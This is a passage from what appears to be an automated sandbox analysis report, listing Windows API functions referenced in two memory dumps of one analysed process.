00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"FlushViewOfFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"FormatMessageA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"FreeEnvironmentStringsW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"FreeLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetCommandLineW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetComputerNameExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetConsoleMode\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetConsoleOutputCP\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetCurrentDirectoryW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetCurrentProcessId\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetCurrentThread\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetCurrentThreadId\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetDiskFreeSpaceA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetDiskFreeSpaceW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetEnvironmentStringsW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetEnvironmentVariableW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetExitCodeProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetFileAttributesA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetFileAttributesExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetFileAttributesW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetFileInformationByHandleEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetFileSize\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetFileType\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetFinalPathNameByHandleW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetFullPathNameA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetFullPathNameW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetModuleFileNameW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetModuleHandleA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetModuleHandleW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetNamedPipeInfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetNativeSystemInfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetOverlappedResult\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetProcAddress\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetProcessId\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetQueuedCompletionStatusEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetStdHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetSystemDirectoryW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetSystemInfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetSystemTimePreciseAsFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetTempPathA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetTempPathW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetTickCount\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetUserPreferredUILanguages\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetWindowsDirectoryW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GlobalAlloc\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GlobalFree\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GlobalLock\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GlobalSize\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GlobalUnlock\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"HeapCompact\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"HeapCreate\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"HeapDestroy\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"HeapReAlloc\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"HeapSize\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"HeapValidate\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"InitOnceBeginInitialize\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"InitOnceComplete\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"InitializeCriticalSection\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"LeaveCriticalSection\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"LoadLibraryA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"LoadLibraryExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"LoadLibraryW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"LocalFree\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"LockFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"LockFileEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"MapViewOfFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"Module32FirstW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"Module32NextW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"MoveFileExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"MultiByteToWideChar\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"OutputDebugStringA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"OutputDebugStringW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"PostQueuedCompletionStatus\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"Process32FirstW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"Process32NextW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"QueryPerformanceFrequency\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ReadConsoleW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ReadFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ReadFileEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"RegisterWaitForSingleObject\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"RemoveDirectoryW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"RtlCaptureContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"RtlLookupFunctionEntry\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"RtlVirtualUnwind\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetConsoleCtrlHandler\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetCurrentDirectoryW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetEndOfFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"SetEnvironmentVariableW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetFileAttributesW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetFileCompletionNotificationModes\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetFileInformationByHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetFilePointer\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"SetFilePointerEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetHandleInformation\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetThreadStackGuarantee\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetWaitableTimer\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"Sleep\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SleepEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SwitchToThread\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"SystemTimeToTzSpecificLocalTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"TerminateProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"TlsAlloc\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"TlsFree\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"TlsGetValue\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"TlsSetValue\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"TryEnterCriticalSection\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"TzSpecificLocalTimeToSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"UnlockFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"UnlockFileEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"UnmapViewOfFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"UnregisterWaitEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"WaitForMultipleObjects\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"WaitForSingleObjectEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"WideCharToMultiByte\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"WriteConsoleW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"WriteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"WriteFileEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"NCryptFreeObject\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"NtCreateFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"NtDeviceIoControlFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"NtOpenFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"NtOpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"NtReadFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"NtWriteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CoCreateGuid\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"AcceptSecurityContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"AcquireCredentialsHandleA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"ApplyControlToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"DecryptMessage\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"DeleteSecurityContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"EncryptMessage\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"FreeContextBuffer\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"FreeCredentialsHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"InitializeSecurityContextW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"QueryContextAttributesW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"ShellExecuteW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CloseClipboard\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CountClipboardFormats\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"EmptyClipboard\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetClipboardData\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetDC\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"OpenClipboard\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ReleaseDC\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetClipboardData\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"WSACleanup\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"WSAGetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"WSAIoctl\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"WSASend\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"WSAStartup\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"closesocket\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"getpeername\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"getsockname\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"getsockopt\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ioctlsocket\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"recvfrom\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"RaiseException\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"VirtualProtect\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"VirtualQuery\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"BCryptGenRandom\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetConsoleScreenBufferInfo\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetModuleHandleExW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetConsoleMode\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetConsoleTextAttribute\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetThreadErrorMode\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetUnhandledExceptionFilter\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CoCreateInstance\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CoInitializeEx\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CoUninitialize\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"OleInitialize\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SafeArrayPutElement\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"AssocQueryStringW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: 